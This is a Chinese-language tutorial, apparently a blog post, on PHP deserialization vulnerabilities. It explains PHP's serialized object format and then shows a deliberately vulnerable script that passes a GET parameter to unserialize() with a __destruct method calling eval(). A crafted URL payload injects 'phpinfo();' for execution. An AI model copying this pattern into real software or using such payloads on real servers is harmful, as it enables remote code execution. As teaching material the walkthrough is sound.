PHP反序列化漏洞

简介: PHP反序列化漏洞

一、创建类和对象

<?php
#创建一个Jay专辑类
class Jay{ 
    public $name;
    public $year;
    public $mus;
}
#创建一个Jay专辑对象
$jay1 =new Jay();
#专辑名称
$jay1->name="周杰伦的床边故事";
#专辑发行时间
$jay1->year=2016;
#专辑主打歌
$jay1->mus="告白气球";
$jay2 =new Jay();
$jay2->name="哎呦,不错哦";
$jay2->year=2014;
$jay2->mus="算什么男人";
echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus;
echo var_dump($jay2);
?>

运行结果:

0a2653c851af460fa595bd959398a8f1.png

二、序列化与反序列化概念

1、将一个对象转化为字符串并存储在一个文件中的过程被称为序列化

2、等到需要对象信息的时候,再从文件读取字符串的过程被称为反序列化

3、应用场景:将一个登录状态的用户的信息序列化,可以节省内存

三、将对象序列化与反序列化

1、序列化

<?php
#创建一个Jay专辑类
class Jay{
    public $name;
    public $year;
    public $mus;
}
#创建一个Jay专辑对象
$jay1 =new Jay();
#专辑名称
$jay1->name="周杰伦的床边故事";
#专辑发行时间
$jay1->year=2016;
#专辑主打歌
$jay1->mus="告白气球";
$jay2 =new Jay();
$jay2->name="哎呦,不错哦";
$jay2->year=2014;
$jay2->mus="算什么男人";
echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus;
#将对象jay2序列化
echo var_dump($jay2);
?>

运行结果:

0eacb84100b54626af849e6b562bf92a.png

O:object对象

第一个3:Jay的长度

第二个3:有三个属性值

s:string类型

4:name的程度

18:哎呦,不错哦的长度

i:int类型

每两个分号确定一个属性

2、反序列化

$str=<<<HTML

O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:15:"算什么男人";}

HTML;

var_dump(unserialize($str));

运行结果

0a2653c851af460fa595bd959398a8f1.png

四、利用序列化漏洞

<?php
class Jay{
    public $name;
    public $year;
    public $mus;
    function __destruct()//程序结束的时候的会自动调用该函数,类似构造函数,创建对象会自动调用
    {
    @eval($this->mus);
    }
}
$jay1 =new Jay();
$jay1->name="周杰伦的床边故事";
$jay1->year=2016;
$jay1->mus="告白气球";
$jay2 =new Jay();
$jay2->name="哎呦,不错哦";
$jay2->year=2014;
$jay2->mus="算什么男人";
echo "专辑名称:".$jay1->name."<hr>发行时间:".$jay1->year."<hr>主打歌:".$jay1->mus."<hr>";
echo serialize($jay2);
echo "<hr>";
//将反序列操作的字符改为变量传递,并通过get方式提交
$tmp=$_GET['aaa'];
var_dump(unserialize($tmp));
?>

运行结果:

0eacb84100b54626af849e6b562bf92a.png

http://192.168.1.129/1.php?aaa=O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:15:"算什么男人";}

修改一下mus的反序列字符串,修改为如下:

http://192.168.1.129/1.php?aaa=O:3:"Jay":3:{s:4:"name";s:18:"哎呦,不错哦";s:4:"year";i:2014;s:3:"mus";s:10:"phpinfo();";}

运行结果:

0a2653c851af460fa595bd959398a8f1.png

禁止非法,后果自负

目录
相关文章
|
10月前
|
SQL 安全 PHP
PHP安全性实践:防范常见漏洞与攻击####
本文深入探讨了PHP编程中常见的安全漏洞及其防范措施,包括SQL注入、XSS跨站脚本攻击、CSRF跨站请求伪造等。通过实际案例分析,揭示了这些漏洞的危害性,并提供了具体的代码示例和最佳实践建议,帮助开发者提升PHP应用的安全性。 ####
334 6
|
11月前
|
SQL 安全 PHP
PHP安全性深度剖析:防范常见漏洞与最佳实践####
本文深入探讨了PHP编程中不可忽视的安全隐患,重点介绍了SQL注入、XSS攻击、CSRF攻击及文件包含漏洞等四大常见安全威胁。通过详尽的案例分析与防御策略阐述,为开发者提供了一套实用的安全编码指南。文章强调,提升代码安全性是保障Web应用稳健运行的关键,鼓励开发者在日常开发中积极践行安全最佳实践。 ####
|
10月前
|
SQL 安全 PHP
PHP安全性深度探索:防范常见漏洞与最佳实践####
本文深入剖析了PHP开发中常见的安全漏洞,包括SQL注入、XSS攻击、CSRF攻击及文件包含漏洞等,并针对每种漏洞提供了详尽的防御策略与最佳实践。通过实例分析,引导读者理解如何构建更加安全的PHP应用,确保数据完整性与用户隐私保护。 ####
|
SQL 安全 API
PHP代码审计示例(一)——淡然点图标系统SQL注入漏洞审计
PHP代码审计示例(一)——淡然点图标系统SQL注入漏洞审计
327 4
|
存储 监控 安全
Pikachu PHP 反序列化通关解析
Pikachu PHP 反序列化通关解析
|
安全 前端开发 测试技术
安全开发-PHP应用&模版引用&Smarty渲染&MVC模型&数据联动&RCE安全&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞
安全开发-PHP应用&模版引用&Smarty渲染&MVC模型&数据联动&RCE安全&TP框架&路由访问&对象操作&内置过滤绕过&核心漏洞
132 0
|
安全 PHP
零基础学习挖掘PHP网站漏洞
本套课程,分为三个阶段:第一阶段:基础篇 学习PHP开发的基础知识,对PHP常见的漏洞进行分析,第二阶段:进阶篇 实战PHP漏洞靶场,了解市面上的PHP主流网站开发技术,并对市面上的主流框架进行漏洞分析,第三阶段:高级篇 实战演示PHP代码审计技术,并能手动开发PHP框架,了解大型网站的核心技术!
109 2
|
安全 PHP 数据库
【PHP开发专栏】PHP文件包含漏洞与防范
【4月更文挑战第30天】本文探讨了PHP文件包含漏洞,该漏洞让攻击者能执行恶意代码或访问敏感信息。文章分为三部分:原理、影响和防范。文件包含函数(如`include`和`require`)在攻击者控制文件名时可能导致漏洞。影响包括执行恶意代码、泄露敏感信息和影响服务器性能。防范措施包括验证文件名安全性、使用安全包含函数、设置安全包含路径和参数,以及定期更新和维护代码及库。开发者应重视此问题,采取相应措施保障应用安全。
258 0
|
安全 PHP
PHP反序列化---字符串逃逸(增加/减少)
PHP反序列化---字符串逃逸(增加/减少)
PHP反序列化--引用
PHP反序列化--引用
下一篇
oss教程